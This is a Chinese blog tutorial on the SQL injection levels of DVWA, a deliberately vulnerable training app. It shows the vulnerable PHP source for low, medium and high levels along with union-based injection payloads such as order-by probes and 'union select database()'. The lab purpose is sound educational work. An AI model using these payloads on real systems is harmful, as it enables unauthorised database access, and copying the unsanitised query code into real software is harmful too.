dvwa——sql注入

声明: 本文章仅限于安全技术交流,禁止用于非法途径,如读者作出危害网络安全的行为后果自负,与作者无关!


前言

Hello!转眼一看距离我上次发文章都是一年前的事情了,中职的第三年都一直备赛的路上,一年比了三个项目,搞得学的好乱,现在上了大学,开始回来复习安全的东西,说实话好久没练了很多基本的东西都忘记了,去年就一直说要写dvwa的教程,现在刚好算是可以边复习边更新。哈哈哈哈哈哈!


一、 什么是sql注入

SQL注入是一种常见的网络安全漏洞和攻击方式,它利用应用程序对用户输入数据的处理不当,使得攻击者能够在执行SQL查询时插入恶意的SQL代码。通过成功注入恶意代码,攻击者可以执行未经授权的数据库操作,获取敏感信息、篡改数据甚至完全破坏数据库。

二、普通sql注入关卡

low

首先看一下他的回显是什么样子的
在这里插入图片描述
我们来看他的代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

这里看到这里定义了一个id参数,然后没做任何防护语句就直接传参给了sql语句。
首先我们来判断闭合的符号,这里输入一个单引号发现出现了报错语句
在这里插入图片描述
在这里插入图片描述
判断了他是什么闭合方式后,判断有多少字段

' order by 2 #     # 发现回显正常
' order by 3 #     # 发现报错了

在这里插入图片描述

说明这里就只有两个字段

下一步我们来判断他的一个回显位置,使用联合查询语句

-1' union select 1,2 #

在这里插入图片描述
知道了注入点以后我们再来查询当前的数据库

-1' union select (select database()),2 #

查看回显
在这里插入图片描述
发现成功回显数据库名

medium

先查看正常回显
在这里插入图片描述

然后我们还是来看他的代码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

这里发现代码中采用了mysqli_real_escape_string函数对字符串进行转义处理。
但是我们发现代码中sql语句的$id,是没有用任何符合进行闭合的,那我们就可以像low关卡中使用一样的语句。
这里拿出我们的burp进行抓包
把抓到的数据包发送到我们的爆破模块
在这里插入图片描述
之前在讲low的时候说过语句了,这里我就不再说一次,直接查看数据库名
这里的exp是:

-1 union select (select database()),2 #

在这里插入图片描述

high

先查看回显
在这里插入图片描述
然后我们在来看代码

SQL Injection Source
vulnerabilities/sqli/source/high.php
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

这里看到点击 here to change your ID就自动跳到其他的页面,这里主要是防止自动化sql注入,但是我们可以从代码中看出,传入的参数还是没有做防护。
以至于我们拿low关卡的exp就能直接跑出数据库名
在这里插入图片描述

总结

行,今天算是开了一个头,先解决了普通的sq注入,看一下明天有没有时间,有时间再来更新sql盲注。以上内容为我个人理解,不喜勿喷,如有写错欢迎指出。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值